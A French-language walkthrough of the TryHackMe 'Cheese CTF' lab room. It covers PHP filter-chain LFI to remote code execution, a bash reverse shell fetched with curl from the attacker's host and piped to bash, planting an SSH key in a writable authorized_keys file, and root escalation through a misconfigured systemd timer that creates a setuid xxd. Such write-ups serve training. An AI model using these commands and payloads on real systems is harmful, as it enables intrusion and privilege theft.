Lien de la room: TryHackMe | Chese CTF

La room n’a pas été complétée en une fois, donc il y a plusieurs adresses de la machine cible 😁.

Énumération

Le résultat du scan Nmap sur la machine sort presque tous les ports ouverts. Cne n’est donc pas une piste envisageable.

En regardant de plus près le port 80, on a une interface, et on y voit une page de login.

On essaie ici de l’injection SQL

Obtenir l’accès shell

Avec le paramètre cmd

1. Créer un fichier shell.sh pour mon script de reverse shell. On veut donc initier la connexion depuis la machine cible.

Remplacer 10.10.102.158 par l’adresse IP de votre machine.

cat shell.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.102.158/4444 0>&1

2. Démarrer le listener netcat sur la machine principale pour écouter les connexions entrantes sur le port 4444

nc -lvnp 4444

3. Démarrer un serveur HTTP qui va contenir le fichier shell.sh. Le fichier doit être dans le le répertoire courant où vous exécutez la commande.

python -m http.server 8000

4. Utiliser l’outil php_filter_chain_generator pour générer la chaîne de filtres PHP

python3 attack.py --chain '<?php system($_GET["cmd"]); ?>'

Ici on utilise '<?php system($_GET["cmd"]); ?>' car on veut exécuter des commandes sur le serveur cible via le paramètre cmd dans l’URL. On veut exploiter une vulnérabilité de type Local File Inclusion LFI afin d’exécuter des commandes arbitraires sur la cible.

5. Modifier l’URL vulnérable pour y ajouter la chaîne de filtres PHP générée et le paramètre cmd.

URL de base: http://10.10.162.24/secret-script.php?file=php://filter/resource=users.html

Début de la chaîne de filtre PHP : php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode

Fin de la chaîne de filtre PHP: UTF8.UTF7|convert.base64-decode/resource=php://temp

On rajoute donc le paramètre &cmd=curl http://10.10.102.158:8000/shell.sh | bash à la fin de la chaîne de filtre PHP et on obtient ainsi le reverse shell.

• curl http://10.10.102.158:8000/revshell.sh: utilise l’outil curl pour télécharger le fichier shell.sh depuis le serveur HTTP sur le port 80

• | bash: redirige la sortie de la commande curl vers l’interpréteur de commandes bash, pour exécuter le script.

Avec curl

On peut aussi spécifier directement la commande curl dans le payload lors de la génération de la chaîne de filtres PHP. C’est une alternative pour exécuter directement la commande curl sur le serveur, sans avoir à passer de paramètres supplémentaires à l’URL.

python3 attack.py --chain '<?= `curl 10.10.102.158:8000/shell.sh | bash` ?>'

Ce payload utilise la syntaxe courte <?= ?> pour exécuter la commande curl qui télécharge et exécute le script shell.sh depuis le serveur HTTP.

Une fois la chaîne de filtres générée, on peut l’intégrer dans l’URL et obtenir l’accès sur la machine en reverse shell.

Flag user.txt

On veut lire le contenu du fichier user.txt

Il faut donc trouver un moyen de pouvoir lire le contenu du fichier user.txt. Seul le propriétaire comte a le droit de lire et écrire dans le fichier. Vu qu’on est connecté à www-data, on a aucun droit.

On essaiera de vérifier si www-data n’a pas accès à d’autres fichiers ou répertoires.

find /home/comte -type f -readable -writable

Cette commande permet de lister les fichiers dans le répertoire /home/comte et les sous-répertoires, que l’utilisateur www-data peut lire (-readable) et écrire (-writable).

On peut donc voir que le fichier authorized_keys dans le répertoire /.ssh peut être lisible et modifiable par www-data.

Ce fichier est composant du mécanisme d’authentification par clé publiques de SSH. Il contient une liste de clés publiques SSH appartenant aux utilisateurs autorisés à se connecter à un compte spécifique. Il fonctionne avec une clé privée, qui est sur la machine de l’utilisateur qui se connecte.

À noter que dans le cas d’une authentification par clé SSH, on a pas besoin du mot de passe de l’utilisateur car SSH utilise la correspondance entre la clé privée et la clé publique placée dans le fichier authorized_keys de comte.

Sur la machine principale, on génère une paire de clé avec la commande ssh-keygen -t rsa

On obtient une clé privée (key_rsa) et la clé publique associée (key_rsa.pub).

Il faut ensuite copier le contenu de la clé publique dans le fichier authorised_keys de la machine cible afin dese connecter au compte comte depuis la machine principale via SSH.

Sur la machine principale sur laquelle la paire de clés a été générée, lancer la connexion ssh en utilisant la clé privée.

ssh -i key_rsa comte@10.10.46.126

On a arrive donc à se connecter au compte comte et on obtient le flag.

Flag root.txt

On commence par la commande sudo -l pour afficher les commandes privilèges que l’utilisateur comte peut exécuter via sudo.

On voit qu’on peut exécuter des commandes systemctl sans avoir à fournir de mot de passe. On peut (re)démarrer, activer le service exploit.timer ou recharger les fichiers de configuration des services systemd via daemon-reload.

Une unité .timer est utilisée pour planifier des tâches. Si exploit.timer est donc mal configurée, on peut l’exploiter.

Le fichier de configuration exploit.timer est incomplet. Au niveau de la section Timer, le champ OnBootSec spécifie un délai après le démarrage du système avant que la minuterie ne s'active.

Le fichier exploit.service est bien configuré: c’est un service de type oneshot, il exécute une commande unique et se termine. Elle exécute un script bash qui copie /usr/bin/xxd dans /opt/xxd et modifie ses permissions (+sx). Cela signifie que le binaire /opt/xxd sera exécuté avec les privilèges de son propriétaire, qui est root.

Puisqu’on peut modifier le fichier exploit.timer, on y ajoutera une valeur à OnBootSec= pour activer la minuterie, ce qui déclenchera l'exécution de exploit.service.

On recharge les configurations ensuite.

sudo systemctl daemon-reload
sudo systemctl enable exploit.timer
sudo systemctl start exploit.timer

Le fichier /opt/xxd a bien été créé et les bits setuid et setgid sont définis, signifiant que /opt/xxd s’exécutera avec les privilèges de root.

Le bit SUID est une permission spéciale sur un fichier exécutable qui force ce fichier à s’exécuter avec les privilèges de l’utilisateur propriétaire du fichier, plutôt que ceux de l’utilisateur qui l’exécute.

Ici, le fichier /opt/xxd appartient à root, et avec le bit setuid, il s’exécute avec root même si on est connecté avec comte.

/opt/xxd /root/root.txt

On peut faire trois copier-coller mais on fera un peu plus 😋

Le contenu s’affiche en hexadécimal. On va rediriger la sortie et utiliser un outil comme xxd ou hexdump pour le convertir en texte.

On est dans le répertoire racine / , et la redirection > est gérée par le shell qui s’exécute sous l’utilisateur comte et non par /opt/xxd, d’où l’erreur Permission denied. Bien que /opt/xxd ait les privilèges de root pour lire /root/root.txt, le shell n’a pas les permissions d’écrire dans le répertoire courant / en tant que comte.

On le redirige donc vers le répertoire /tmp a des permissions très ouvertes, ce qui permet à tous les utilisateurs (y compris comte) de créer et écrire des fichiers.

Avec l’option xxd -r, on convertit le contenu de l’hexadécimal et donneés de texte brut.

On obtient donc le flag.